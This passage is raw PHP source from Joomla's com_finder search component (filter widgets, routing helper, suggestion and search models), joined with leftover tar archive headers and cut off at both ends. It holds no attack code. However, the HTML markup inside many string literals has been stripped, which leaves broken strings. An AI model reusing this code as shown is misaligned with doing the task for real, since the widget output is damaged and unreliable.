    '; return $html; } /** * Method to generate filters using select box drop down controls. * * @param FinderIndexerQuery $idxQuery A FinderIndexerQuery object. * @param array $options An array of options. * * @return mixed A rendered HTML widget on success, null otherwise. * * @since 2.5 */ public static function select($idxQuery, $options) { $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $filter = null; // Get the configuration options. $classSuffix = $options->get('class_suffix', null); $loadMedia = $options->get('load_media', true); $showDates = $options->get('show_date_filters', false); // Try to load the results from cache. $cache = JFactory::getCache('com_finder', ''); $cacheId = 'filter_select_' . serialize(array($idxQuery->filter, $options, $groups, JFactory::getLanguage()->getTag())); // Check the cached results. if (!($branches = $cache->get($cacheId))) { $db = JFactory::getDbo(); $query = $db->getQuery(true); // Load the predefined filter if specified. if (!empty($idxQuery->filter)) { $query->select('f.data, ' . $db->quoteName('f.params')) ->from($db->quoteName('#__finder_filters') . ' AS f') ->where('f.filter_id = ' . (int) $idxQuery->filter); // Load the filter data. $db->setQuery($query); try { $filter = $db->loadObject(); } catch (RuntimeException $e) { return null; } // Initialize the filter parameters. if ($filter) { $registry = new JRegistry; $registry->loadString($filter->params); $filter->params = $registry; } } // Build the query to get the branch data and the number of child nodes. $query->clear() ->select('t.*, count(c.id) AS children') ->from($db->quoteName('#__finder_taxonomy') . ' AS t') ->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS c ON c.parent_id = t.id') ->where('t.parent_id = 1') ->where('t.state = 1') ->where('t.access IN (' . $groups . ')') ->where('c.state = 1') ->where('c.access IN (' . $groups . ')') ->group($db->quoteName('t.id')) ->order('t.ordering, t.title'); // Limit the branch children to a predefined filter. if (!empty($filter->data)) { $query->where('c.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($query); try { $branches = $db->loadObjectList('id'); } catch (RuntimeException $e) { return null; } // Check that we have at least one branch. if (count($branches) === 0) { return null; } // Iterate through the branches and build the branch groups. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } // Build the query to get the child nodes for this branch. $query->clear() ->select('t.*') ->from($db->quoteName('#__finder_taxonomy') . ' AS t') ->where('t.parent_id = ' . (int) $bk) ->where('t.state = 1') ->where('t.access IN (' . $groups . ')') ->order('t.ordering, t.title'); // Limit the nodes to a predefined filter. if (!empty($filter->data)) { $query->where('t.id IN(' . $filter->data . ')'); } // Load the branches. $db->setQuery($query); try { $branches[$bk]->nodes = $db->loadObjectList('id'); } catch (RuntimeException $e) { return null; } // Translate branch nodes if possible. $language = JFactory::getLanguage(); foreach ($branches[$bk]->nodes as $node_id => $node) { $key = FinderHelperLanguage::branchPlural($node->title); if ($language->hasKey($key)) { $branches[$bk]->nodes[$node_id]->title = JText::_($key); } } // Add the Search All option to the branch. array_unshift($branches[$bk]->nodes, array('id' => null, 'title' => JText::_('COM_FINDER_FILTER_SELECT_ALL_LABEL'))); } // Store the data in cache. $cache->store($branches, $cacheId); } $html = ''; // Add the dates if enabled. if ($showDates) { $html .= JHtml::_('filter.dates', $idxQuery, $options); } $html .= '
    '; // Iterate through all branches and build code. foreach ($branches as $bk => $bv) { // If the multi-lang plug-in is enabled then drop the language branch. if ($bv->title == 'Language' && JLanguageMultilang::isEnabled()) { continue; } $active = null; // Check if the branch is in the filter. if (array_key_exists($bv->title, $idxQuery->filters)) { // Get the request filters. $temp = JFactory::getApplication()->input->request->get('t', array(), 'array'); // Search for active nodes in the branch and get the active node. $active = array_intersect($temp, $idxQuery->filters[$bv->title]); $active = count($active) === 1 ? array_shift($active) : null; } $html .= '
    '; $html .= ''; $html .= '
    '; $html .= JHtml::_( 'select.genericlist', $branches[$bk]->nodes, 't[]', 'class="inputbox"', 'id', 'title', $active, 'tax-' . JFilterOutput::stringUrlSafe($bv->title) ); $html .= '
    '; $html .= '
    '; } // Close the widget. $html .= '
    '; // Load the CSS/JS resources. if ($loadMedia) { JHtml::stylesheet('com_finder/sliderfilter.css', false, true, false); } return $html; } /** * Method to generate fields for filtering dates * * @param FinderIndexerQuery $idxQuery A FinderIndexerQuery object. * @param array $options An array of options. * * @return mixed A rendered HTML widget on success, null otherwise. * * @since 2.5 */ public static function dates($idxQuery, $options) { $html = ''; // Get the configuration options. $classSuffix = $options->get('class_suffix', null); $loadMedia = $options->get('load_media', true); $showDates = $options->get('show_date_filters', false); if (!empty($showDates)) { // Build the date operators options. $operators = array(); $operators[] = JHtml::_('select.option', 'before', JText::_('COM_FINDER_FILTER_DATE_BEFORE')); $operators[] = JHtml::_('select.option', 'exact', JText::_('COM_FINDER_FILTER_DATE_EXACTLY')); $operators[] = JHtml::_('select.option', 'after', JText::_('COM_FINDER_FILTER_DATE_AFTER')); // Load the CSS/JS resources. if ($loadMedia) { JHtml::stylesheet('com_finder/dates.css', false, true, false); } // Open the widget. $html .= '
      '; // Start date filter. $html .= '
    • '; $html .= ''; $html .= '
      '; $html .= JHtml::_( 'select.genericlist', $operators, 'w1', 'class="inputbox filter-date-operator"', 'value', 'text', $idxQuery->when1, 'finder-filter-w1' ); $html .= JHtml::calendar($idxQuery->date1, 'd1', 'filter_date1', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE1_DESC') . '"'); $html .= '
    • '; // End date filter. $html .= '
    • '; $html .= ''; $html .= '
      '; $html .= JHtml::_( 'select.genericlist', $operators, 'w2', 'class="inputbox filter-date-operator"', 'value', 'text', $idxQuery->when2, 'finder-filter-w2' ); $html .= JHtml::calendar($idxQuery->date2, 'd2', 'filter_date2', '%Y-%m-%d', 'title="' . JText::_('COM_FINDER_FILTER_DATE2_DESC') . '"'); $html .= '
    • '; // Close the widget. $html .= '
    '; } return $html; } } com_finder/helpers/index.html000066600000000036150771500630012317 0ustar00com_finder/helpers/route.php000066600000007135150771500630012200 0ustar00 'search', 'q' => $q, 'f' => $f); $item = self::getItemid($query); // Get the base route. $uri = clone(JUri::getInstance('index.php?option=com_finder&view=search')); // Add the pre-defined search filter if present. if ($f !== null) { $uri->setVar('f', $f); } // Add the search query string if present. if ($q !== null) { $uri->setVar('q', $q); } // Add the menu item id if present. if ($item !== null) { $uri->setVar('Itemid', $item); } return $uri->toString(array('path', 'query')); } /** * Method to get the route for an advanced search page. * * @param integer $f The search filter id. [optional] * @param string $q The search query string. [optional] * * @return string The advanced search route. * * @since 2.5 */ public static function getAdvancedRoute($f = null, $q = null) { // Get the menu item id. $query = array('view' => 'advanced', 'q' => $q, 'f' => $f); $item = self::getItemid($query); // Get the base route. $uri = clone(JUri::getInstance('index.php?option=com_finder&view=advanced')); // Add the pre-defined search filter if present. if ($q !== null) { $uri->setVar('f', $f); } // Add the search query string if present. if ($q !== null) { $uri->setVar('q', $q); } // Add the menu item id if present. if ($item !== null) { $uri->setVar('Itemid', $item); } return $uri->toString(array('path', 'query')); } /** * Method to get the most appropriate menu item for the route based on the * supplied query needles. * * @param array $query An array of URL parameters. * * @return mixed An integer on success, null otherwise. * * @since 2.5 */ public static function getItemid($query) { static $items, $active; // Get the menu items for com_finder. if (!$items || !$active) { $app = JFactory::getApplication('site'); $com = JComponentHelper::getComponent('com_finder'); $menu = $app->getMenu(); $active = $menu->getActive(); $items = $menu->getItems('component_id', $com->id); $items = is_array($items) ? $items : array(); } // Try to match the active view and filter. if ($active && @$active->query['view'] == @$query['view'] && @$active->query['f'] == @$query['f']) { return $active->id; } // Try to match the view, query, and filter. foreach ($items as $item) { if (@$item->query['view'] == @$query['view'] && @$item->query['q'] == @$query['q'] && @$item->query['f'] == @$query['f']) { return $item->id; } } // Try to match the view and filter. foreach ($items as $item) { if (@$item->query['view'] == @$query['view'] && @$item->query['f'] == @$query['f']) { return $item->id; } } // Try to match the view. foreach ($items as $item) { if (@$item->query['view'] == @$query['view']) { return $item->id; } } return null; } } com_finder/models/suggestions.php000066600000006771150771500630013242 0ustar00 $v) { $items[$k] = $v->term; } return $items; } /** * Method to build a database query to load the list data. * * @return JDatabaseQuery A database query * * @since 2.5 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields $query->select('t.term') ->from($db->quoteName('#__finder_terms') . ' AS t') ->where('t.term LIKE ' . $db->quote($db->escape($this->getState('input'), true) . '%')) ->where('t.common = 0') ->where('t.language IN (' . $db->quote($db->escape($this->getState('language'), true)) . ', ' . $db->quote('*') . ')') ->order('t.links DESC') ->order('t.weight DESC'); return $query; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Add the search query state. $id .= ':' . $this->getState('input'); $id .= ':' . $this->getState('language'); // Add the list state. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Get the configuration options. $app = JFactory::getApplication(); $input = $app->input; $params = JComponentHelper::getParams('com_finder'); $user = JFactory::getUser(); // Get the query input. $this->setState('input', $input->request->get('q', '', 'string')); // Set the query language $lang = FinderIndexerHelper::getDefaultLanguage(); $lang = FinderIndexerHelper::getPrimaryLanguage($lang); $this->setState('language', $lang); // Load the list state. $this->setState('list.start', 0); $this->setState('list.limit', 10); // Load the parameters. $this->setState('params', $params); // Load the user state. $this->setState('user.id', (int) $user->get('id')); } } com_finder/models/index.html000066600000000036150771500630012140 0ustar00com_finder/models/search.php000066600000103440150771500630012124 0ustar00query->search)) { return null; } // Check if we should return results. if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty)) { return null; } // Get the store id. $store = $this->getStoreId('getResults'); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the row data. $items = $this->getResultsData(); // Check the data. if (empty($items)) { return null; } // Create the query to get the search results. $db = $this->getDbo(); $query = $db->getQuery(true) ->select($db->quoteName('link_id') . ', ' . $db->quoteName('object')) ->from($db->quoteName('#__finder_links')) ->where($db->quoteName('link_id') . ' IN (' . implode(',', array_keys($items)) . ')'); // Load the results from the database. $db->setQuery($query); $rows = $db->loadObjectList('link_id'); // Set up our results container. $results = $items; // Convert the rows to result objects. foreach ($rows as $rk => $row) { // Build the result object. $result = unserialize($row->object); $result->weight = $results[$rk]; $result->link_id = $rk; // Add the result back to the stack. $results[$rk] = $result; } // Switch to a non-associative array. $results = array_values($results); // Push the results into cache. $this->store($store, $results); // Return the results. return $this->retrieve($store); } /** * Method to get the total number of results. * * @return integer The total number of results. * * @since 2.5 * @throws Exception on database error. */ public function getTotal() { // Check if the search query is valid. if (empty($this->query->search)) { return null; } // Check if we should return results. if (empty($this->includedTerms) && (empty($this->query->filters) || !$this->query->empty)) { return null; } // Get the store id. $store = $this->getStoreId('getTotal'); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the results total. $total = $this->getResultsTotal(); // Push the total into cache. $this->store($store, $total); // Return the total. return $this->retrieve($store); } /** * Method to get the query object. * * @return FinderIndexerQuery A query object. * * @since 2.5 */ public function getQuery() { // Return the query object. return $this->query; } /** * Method to build a database query to load the list data. * * @return JDatabaseQuery A database query. * * @since 2.5 */ protected function getListQuery() { // Get the store id. $store = $this->getStoreId('getListQuery'); // Use the cached data if possible. if ($this->retrieve($store, false)) { return clone($this->retrieve($store, false)); } // Set variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true) ->select('l.link_id') ->from($db->quoteName('#__finder_links') . ' AS l') ->where('l.access IN (' . $groups . ')') ->where('l.state = 1'); // Get the null date and the current date, minus seconds. $nullDate = $db->quote($db->getNullDate()); $nowDate = $db->quote(substr_replace(JFactory::getDate()->toSQL(), '00', -2)); // Add the publish up and publish down filters. $query->where('(l.publish_start_date = ' . $nullDate . ' OR l.publish_end_date <= ' . $nowDate . ')') ->where('(l.publish_end_date = ' . $nullDate . ' OR l.publish_end_date >= ' . $nowDate . ')'); /* * Add the taxonomy filters to the query. We have to join the taxonomy * map table for each group so that we can use AND clauses across * groups. Within each group there can be an array of values that will * use OR clauses. */ if (!empty($this->query->filters)) { // Convert the associative array to a numerically indexed array. $groups = array_values($this->query->filters); // Iterate through each taxonomy group and add the join and where. for ($i = 0, $c = count($groups); $i < $c; $i++) { // We use the offset because each join needs a unique alias. $query->join('INNER', $db->quoteName('#__finder_taxonomy_map') . ' AS t' . $i . ' ON t' . $i . '.link_id = l.link_id') ->where('t' . $i . '.node_id IN (' . implode(',', $groups[$i]) . ')'); } } // Add the start date filter to the query. if (!empty($this->query->date1)) { // Escape the date. $date1 = $db->quote($this->query->date1); // Add the appropriate WHERE condition. if ($this->query->when1 == 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date1); } elseif ($this->query->when1 == 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date1); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date1); } } // Add the end date filter to the query. if (!empty($this->query->date2)) { // Escape the date. $date2 = $db->quote($this->query->date2); // Add the appropriate WHERE condition. if ($this->query->when2 == 'before') { $query->where($db->quoteName('l.start_date') . ' <= ' . $date2); } elseif ($this->query->when2 == 'after') { $query->where($db->quoteName('l.start_date') . ' >= ' . $date2); } else { $query->where($db->quoteName('l.start_date') . ' = ' . $date2); } } // Filter by language if ($this->getState('filter.language')) { $query->where('l.language IN (' . $db->quote(JFactory::getLanguage()->getTag()) . ', ' . $db->quote('*') . ')'); } // Push the data into cache. $this->store($store, $query, false); // Return a copy of the query object. return clone($this->retrieve($store, false)); } /** * Method to get the total number of results for the search query. * * @return integer The results total. * * @since 2.5 * @throws Exception on database error. */ protected function getResultsTotal() { // Get the store id. $store = $this->getStoreId('getResultsTotal', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the base query and add the ordering information. $base = $this->getListQuery(); $base->select('0 AS ordering'); // Get the maximum number of results. $limit = (int) $this->getState('match.limit'); /* * If there are no optional or required search terms in the query, * we can get the result total in one relatively simple database query. */ if (empty($this->includedTerms)) { // Adjust the query to join on the appropriate mapping table. $query = clone($base); $query->clear('select') ->select('COUNT(DISTINCT l.link_id)'); // Get the total from the database. $this->_db->setQuery($query); $total = $this->_db->loadResult(); // Push the total into cache. $this->store($store, min($total, $limit)); // Return the total. return $this->retrieve($store); } /* * If there are optional or required search terms in the query, the * process of getting the result total is more complicated. */ $start = 0; $items = array(); $sorted = array(); $maps = array(); $excluded = $this->getExcludedLinkIds(); /* * Iterate through the included search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->includedTerms as $token => $ids) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix] = array_merge($maps[$suffix], $ids); } /* * When the query contains search terms we need to find and process the * result total iteratively using a do-while loop. */ do { // Create a container for the fetched results. $results = array(); $more = false; /* * Iterate through the mapping groups and load the total from each * mapping table. */ foreach ($maps as $suffix => $ids) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsTotal:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $temp = $this->retrieve($setId); } // Load the data from the database. else { // Adjust the query to join on the appropriate mapping table. $query = clone($base); $query->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id') ->where('m.term_id IN (' . implode(',', $ids) . ')'); // Load the results from the database. $this->_db->setQuery($query, $start, $limit); $temp = $this->_db->loadObjectList(); // Set the more flag to true if any of the sets equal the limit. $more = (count($temp) === $limit) ? true : false; // We loaded the data unkeyed but we need it to be keyed for later. $junk = $temp; $temp = array(); // Convert to an associative array. for ($i = 0, $c = count($junk); $i < $c; $i++) { $temp[$junk[$i]->link_id] = $junk[$i]; } // Store this set in cache. $this->store($setId, $temp); } // Merge the results. $results = array_merge($results, $temp); } // Check if there are any excluded terms to deal with. if (count($excluded)) { // Remove any results that match excluded terms. for ($i = 0, $c = count($results); $i < $c; $i++) { if (in_array($results[$i]->link_id, $excluded)) { unset($results[$i]); } } // Reset the array keys. $results = array_values($results); } // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = $results[$i]->ordering; } } /* * If the query contains just optional search terms and we have * enough items for the page, we can stop here. */ if (empty($this->requiredTerms)) { // If we need more items and they're available, make another pass. if ($more && count($sorted) < $limit) { // Increment the batch starting point and continue. $start += $limit; continue; } // Push the total into cache. $this->store($store, min(count($sorted), $limit)); // Return the total. return $this->retrieve($store); } /* * The query contains required search terms so we have to iterate * over the items and remove any items that do not match all of the * required search terms. This is one of the most expensive steps * because a required token could theoretically eliminate all of * current terms which means we would have to loop through all of * the possibilities. */ foreach ($this->requiredTerms as $token => $required) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsTotal:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $reqTemp = $this->retrieve($setId); } // Check if the token was matched. elseif (empty($required)) { return null; } // Load the data from the database. else { // Setup containers in case we have to make multiple passes. $reqStart = 0; $reqTemp = array(); do { // Get the map table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Adjust the query to join on the appropriate mapping table. $query = clone($base); $query->join('INNER', '#__finder_links_terms' . $suffix . ' AS m ON m.link_id = l.link_id') ->where('m.term_id IN (' . implode(',', $required) . ')'); // Load the results from the database. $this->_db->setQuery($query, $reqStart, $limit); $temp = $this->_db->loadObjectList('link_id'); // Set the required token more flag to true if the set equal the limit. $reqMore = (count($temp) === $limit) ? true : false; // Merge the matching set for this token. $reqTemp = $reqTemp + $temp; // Increment the term offset. $reqStart += $limit; } while ($reqMore == true); // Store this set in cache. $this->store($setId, $reqTemp); } // Remove any items that do not match the required term. $sorted = array_intersect_key($sorted, $reqTemp); } // If we need more items and they're available, make another pass. if ($more && count($sorted) < $limit) { // Increment the batch starting point. $start += $limit; // Merge the found items. $items = $items + $sorted; continue; } // Otherwise, end the loop. { // Merge the found items. $items = $items + $sorted; $more = false; } // End do-while loop. } while ($more === true); // Set the total. $total = count($items); $total = min($total, $limit); // Push the total into cache. $this->store($store, $total); // Return the total. return $this->retrieve($store); } /** * Method to get the results for the search query. * * @return array An array of result data objects. * * @since 2.5 * @throws Exception on database error. */ protected function getResultsData() { // Get the store id. $store = $this->getStoreId('getResultsData', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Get the result ordering and direction. $ordering = $this->getState('list.ordering', 'l.start_date'); $direction = $this->getState('list.direction', 'DESC'); // Get the base query and add the ordering information. $base = $this->getListQuery(); $base->select($this->_db->escape($ordering) . ' AS ordering'); $base->order($this->_db->escape($ordering) . ' ' . $this->_db->escape($direction)); /* * If there are no optional or required search terms in the query, we * can get the results in one relatively simple database query. */ if (empty($this->includedTerms)) { // Get the results from the database. $this->_db->setQuery($base, (int) $this->getState('list.start'), (int) $this->getState('list.limit')); $return = $this->_db->loadObjectList('link_id'); // Get a new store id because this data is page specific. $store = $this->getStoreId('getResultsData', true); // Push the results into cache. $this->store($store, $return); // Return the results. return $this->retrieve($store); } /* * If there are optional or required search terms in the query, the * process of getting the results is more complicated. */ $start = 0; $limit = (int) $this->getState('match.limit'); $items = array(); $sorted = array(); $maps = array(); $excluded = $this->getExcludedLinkIds(); /* * Iterate through the included search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->includedTerms as $token => $ids) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix] = array_merge($maps[$suffix], $ids); } /* * When the query contains search terms we need to find and process the * results iteratively using a do-while loop. */ do { // Create a container for the fetched results. $results = array(); $more = false; /* * Iterate through the mapping groups and load the results from each * mapping table. */ foreach ($maps as $suffix => $ids) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsData:' . serialize(array_values($ids)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $temp = $this->retrieve($setId); } // Load the data from the database. else { // Adjust the query to join on the appropriate mapping table. $query = clone($base); $query->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id') ->where('m.term_id IN (' . implode(',', $ids) . ')'); // Load the results from the database. $this->_db->setQuery($query, $start, $limit); $temp = $this->_db->loadObjectList('link_id'); // Store this set in cache. $this->store($setId, $temp); // The data is keyed by link_id to ease caching, we don't need it till later. $temp = array_values($temp); } // Set the more flag to true if any of the sets equal the limit. $more = (count($temp) === $limit) ? true : false; // Merge the results. $results = array_merge($results, $temp); } // Check if there are any excluded terms to deal with. if (count($excluded)) { // Remove any results that match excluded terms. for ($i = 0, $c = count($results); $i < $c; $i++) { if (in_array($results[$i]->link_id, $excluded)) { unset($results[$i]); } } // Reset the array keys. $results = array_values($results); } /* * If we are ordering by relevance we have to add up the relevance * scores that are contained in the ordering field. */ if ($ordering === 'm.weight') { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { // Add the total weights for all included search terms. if (isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] += (float) $results[$i]->ordering; } else { $sorted[$results[$i]->link_id] = (float) $results[$i]->ordering; } } } /* * If we are ordering by start date we have to add convert the * dates to unix timestamps. */ elseif ($ordering === 'l.start_date') { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = strtotime($results[$i]->ordering); } } } /* * If we are not ordering by relevance or date, we just have to add * the unique items to the set. */ else { // Iterate through the set to extract the unique items. for ($i = 0, $c = count($results); $i < $c; $i++) { if (!isset($sorted[$results[$i]->link_id])) { $sorted[$results[$i]->link_id] = $results[$i]->ordering; } } } // Sort the results. natcasesort($items); if ($direction === 'DESC') { $items = array_reverse($items, true); } /* * If the query contains just optional search terms and we have * enough items for the page, we can stop here. */ if (empty($this->requiredTerms)) { // If we need more items and they're available, make another pass. if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit'))) { // Increment the batch starting point and continue. $start += $limit; continue; } // Push the results into cache. $this->store($store, $sorted); // Return the requested set. return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true); } /* * The query contains required search terms so we have to iterate * over the items and remove any items that do not match all of the * required search terms. This is one of the most expensive steps * because a required token could theoretically eliminate all of * current terms which means we would have to loop through all of * the possibilities. */ foreach ($this->requiredTerms as $token => $required) { // Create a storage key for this set. $setId = $this->getStoreId('getResultsData:required:' . serialize(array_values($required)) . ':' . $start . ':' . $limit); // Use the cached data if possible. if ($this->retrieve($setId)) { $reqTemp = $this->retrieve($setId); } // Check if the token was matched. elseif (empty($required)) { return null; } // Load the data from the database. else { // Setup containers in case we have to make multiple passes. $reqStart = 0; $reqTemp = array(); do { // Get the map table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Adjust the query to join on the appropriate mapping table. $query = clone($base); $query->join('INNER', $this->_db->quoteName('#__finder_links_terms' . $suffix) . ' AS m ON m.link_id = l.link_id') ->where('m.term_id IN (' . implode(',', $required) . ')'); // Load the results from the database. $this->_db->setQuery($query, $reqStart, $limit); $temp = $this->_db->loadObjectList('link_id'); // Set the required token more flag to true if the set equal the limit. $reqMore = (count($temp) === $limit) ? true : false; // Merge the matching set for this token. $reqTemp = $reqTemp + $temp; // Increment the term offset. $reqStart += $limit; } while ($reqMore == true); // Store this set in cache. $this->store($setId, $reqTemp); } // Remove any items that do not match the required term. $sorted = array_intersect_key($sorted, $reqTemp); } // If we need more items and they're available, make another pass. if ($more && count($sorted) < ($this->getState('list.start') + $this->getState('list.limit'))) { // Increment the batch starting point. $start += $limit; // Merge the found items. $items = array_merge($items, $sorted); continue; } // Otherwise, end the loop. else { // Set the found items. $items = $sorted; $more = false; } // End do-while loop. } while ($more === true); // Push the results into cache. $this->store($store, $items); // Return the requested set. return array_slice($this->retrieve($store), (int) $this->getState('list.start'), (int) $this->getState('list.limit'), true); } /** * Method to get an array of link ids that match excluded terms. * * @return array An array of links ids. * * @since 2.5 * @throws Exception on database error. */ protected function getExcludedLinkIds() { // Check if the search query has excluded terms. if (empty($this->excludedTerms)) { return array(); } // Get the store id. $store = $this->getStoreId('getExcludedLinkIds', false); // Use the cached data if possible. if ($this->retrieve($store)) { return $this->retrieve($store); } // Initialize containers. $links = array(); $maps = array(); /* * Iterate through the excluded search terms and group them by mapping * table suffix. This ensures that we never have to do more than 16 * queries to get a batch. This may seem like a lot but it is rarely * anywhere near 16 because of the improved mapping algorithm. */ foreach ($this->excludedTerms as $token => $id) { // Get the mapping table suffix. $suffix = JString::substr(md5(JString::substr($token, 0, 1)), 0, 1); // Initialize the mapping group. if (!array_key_exists($suffix, $maps)) { $maps[$suffix] = array(); } // Add the terms to the mapping group. $maps[$suffix][] = (int) $id; } /* * Iterate through the mapping groups and load the excluded links ids * from each mapping table. */ // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); foreach ($maps as $suffix => $ids) { // Create the query to get the links ids. $query->clear() ->select('link_id') ->from($db->quoteName('#__finder_links_terms' . $suffix)) ->where($db->quoteName('term_id') . ' IN (' . implode(',', $ids) . ')') ->group($db->quoteName('link_id')); // Load the link ids from the database. $db->setQuery($query); $temp = $db->loadColumn(); // Merge the link ids. $links = array_merge($links, $temp); } // Sanitize the link ids. $links = array_unique($links); JArrayHelper::toInteger($links); // Push the link ids into cache. $this->store($store, $links); return $links; } /** * Method to get a subquery for filtering link ids mapped to specific * terms ids. * * @param array $terms An array of search term ids. * * @return JDatabaseQuery A database object. * * @since 2.5 */ protected function getTermsQuery($terms) { // Create the SQL query to get the matching link ids. // TODO: Impact of removing SQL_NO_CACHE? $db = $this->getDbo(); $query = $db->getQuery(true) ->select('SQL_NO_CACHE link_id') ->from('#__finder_links_terms') ->where('term_id IN (' . implode(',', $terms) . ')'); return $query; } /** * Method to get a store id based on model the configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id An identifier string to generate the store id. [optional] * @param boolean $page True to store the data paged, false to store all data. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '', $page = true) { // Get the query object. $query = $this->getQuery(); // Add the search query state. $id .= ':' . $query->input; $id .= ':' . $query->language; $id .= ':' . $query->filter; $id .= ':' . serialize($query->filters); $id .= ':' . $query->date1; $id .= ':' . $query->date2; $id .= ':' . $query->when1; $id .= ':' . $query->when2; if ($page) { // Add the list state for page specific data. $id .= ':' . $this->getState('list.start'); $id .= ':' . $this->getState('list.limit'); $id .= ':' . $this->getState('list.ordering'); $id .= ':' . $this->getState('list.direction'); } return parent::getStoreId($id); } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Get the configuration options. $app = JFactory::getApplication(); $input = $app->input; $params = $app->getParams(); $user = JFactory::getUser(); $filter = JFilterInput::getInstance(); $this->setState('filter.language', JLanguageMultilang::isEnabled()); // Setup the stemmer. if ($params->get('stem', 1) && $params->get('stemmer', 'porter_en')) { FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($params->get('stemmer', 'porter_en')); } $request = $input->request; $options = array(); // Get the query string. $options['input'] = !is_null($request->get('q')) ? $request->get('q', '', 'string') : $params->get('q'); $options['input'] = $filter->clean($options['input'], 'string'); // Get the empty query setting. $options['empty'] = $params->get('allow_empty_query', 0); // Get the query language. $options['language'] = !is_null($request->get('l')) ? $request->get('l', '', 'cmd') : $params->get('l'); $options['language'] = $filter->clean($options['language'], 'cmd'); // Get the static taxonomy filters. $options['filter'] = !is_null($request->get('f')) ? $request->get('f', '', 'int') : $params->get('f'); $options['filter'] = $filter->clean($options['filter'], 'int'); // Get the dynamic taxonomy filters. $options['filters'] = !is_null($request->get('t', '', 'array')) ? $request->get('t', '', 'array') : $params->get('t'); $options['filters'] = $filter->clean($options['filters'], 'array'); JArrayHelper::toInteger($options['filters']); // Get the start date and start date modifier filters. $options['date1'] = !is_null($request->get('d1')) ? $request->get('d1', '', 'string') : $params->get('d1'); $options['date1'] = $filter->clean($options['date1'], 'string'); $options['when1'] = !is_null($request->get('w1')) ? $request->get('w1', '', 'string') : $params->get('w1'); $options['when1'] = $filter->clean($options['when1'], 'string'); // Get the end date and end date modifier filters. $options['date2'] = !is_null($request->get('d2')) ? $request->get('d2', '', 'string') : $params->get('d2'); $options['date2'] = $filter->clean($options['date2'], 'string'); $options['when2'] = !is_null($request->get('w2')) ? $request->get('w2', '', 'string') : $params->get('w2'); $options['when2'] = $filter->clean($options['when2'], 'string'); // Load the query object. $this->query = new FinderIndexerQuery($options); // Load the query token data. $this->excludedTerms = $this->query->getExcludedTermIds(); $this->includedTerms = $this->query->getIncludedTermIds(); $this->requiredTerms = $this->query->getRequiredTermIds(); // Load the list state. $this->setState('list.start', 